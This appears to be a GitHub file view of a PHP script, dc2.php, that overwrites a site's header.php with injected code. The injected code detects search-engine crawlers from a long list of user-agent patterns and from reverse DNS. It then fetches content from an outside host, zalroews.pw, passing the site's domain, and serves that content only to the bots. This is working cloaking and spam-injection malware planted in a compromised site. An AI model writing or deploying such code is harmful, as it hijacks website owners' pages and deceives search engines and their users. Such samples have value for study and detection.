-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathdc2.php
47 lines (40 loc) · 2.83 KB
/
dc2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$code = '
<?php
$user_agent_to_filter = array( \'#Ask\\s*Jeeves#i\', \'#HP\\s*Web\\s*PrintSmart#i\', \'#HTTrack#i\', \'#IDBot#i\', \'#Indy\\s*Library#\',
\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\', \'#RPT-HTTPClient#i\',
\'#rulinki\\.ru#i\', \'#Twiceler#i\', \'#WebAlta#i\', \'#Webster\\s*Pro#i\',\'#www\\.cys\\.ru#i\',
\'#Wysigot#i\', \'#Yahoo!\\s*Slurp#i\', \'#Yeti#i\', \'#Accoona#i\', \'#CazoodleBot#i\',
\'#CFNetwork#i\', \'#ConveraCrawler#i\',\'#DISCo#i\', \'#Download\\s*Master#i\', \'#FAST\\s*MetaWeb\\s*Crawler#i\',
\'#Flexum\\s*spider#i\', \'#Gigabot#i\', \'#HTMLParser#i\', \'#ia_archiver#i\', \'#ichiro#i\',
\'#IRLbot#i\', \'#Java#i\', \'#km\\.ru\\s*bot#i\', \'#kmSearchBot#i\', \'#libwww-perl#i\',
\'#Lupa\\.ru#i\', \'#LWP::Simple#i\', \'#lwp-trivial#i\', \'#Missigua#i\', \'#MJ12bot#i\',
\'#msnbot#i\', \'#msnbot-media#i\', \'#Offline\\s*Explorer#i\', \'#OmniExplorer_Bot#i\',
\'#PEAR#i\', \'#psbot#i\', \'#Python#i\', \'#rulinki\\.ru#i\', \'#SMILE#i\',
\'#Speedy#i\', \'#Teleport\\s*Pro#i\', \'#TurtleScanner#i\', \'#User-Agent#i\', \'#voyager#i\',
\'#Webalta#i\', \'#WebCopier#i\', \'#WebData#i\', \'#WebZIP#i\', \'#Wget#i\',
\'#Yandex#i\', \'#Yanga#i\', \'#Yeti#i\',\'#msnbot#i\',
\'#spider#i\', \'#yahoo#i\', \'#jeeves#i\' ,\'#google#i\' ,\'#altavista#i\',
\'#scooter#i\' ,\'#av\\s*fetch#i\' ,\'#asterias#i\' ,\'#spiderthread revision#i\' ,\'#sqworm#i\',
\'#ask#i\' ,\'#lycos.spider#i\' ,\'#infoseek sidewinder#i\' ,\'#ultraseek#i\' ,\'#polybot#i\',
\'#webcrawler#i\', \'#robozill#i\', \'#gulliver#i\', \'#architextspider#i\', \'#yahoo!\\s*slurp#i\',
\'#charlotte#i\', \'#ngb#i\', \'#BingBot#i\' ) ;
if ( !empty( $_SERVER[\'HTTP_USER_AGENT\'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, \'-NO-WAY-\', $_SERVER[\'HTTP_USER_AGENT\'] ), \'-NO-WAY-\' ) ) ){
$isbot = 1;
}
if( FALSE !== strpos( gethostbyaddr($_SERVER[\'REMOTE_ADDR\']), \'google\'))
{
$isbot = 1;
}
if(@$isbot){
$_SERVER[HTTP_USER_AGENT] = str_replace(" ", "-", $_SERVER[HTTP_USER_AGENT]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://zalroews.pw/cac/?useragent=$_SERVER[HTTP_USER_AGENT]&domain=$_SERVER[HTTP_HOST]");
$result = curl_exec($ch);
curl_close ($ch);
echo $result;
}
?>';
$in = fopen("header.php", "w");
fwrite($in, $code);
fclose($in);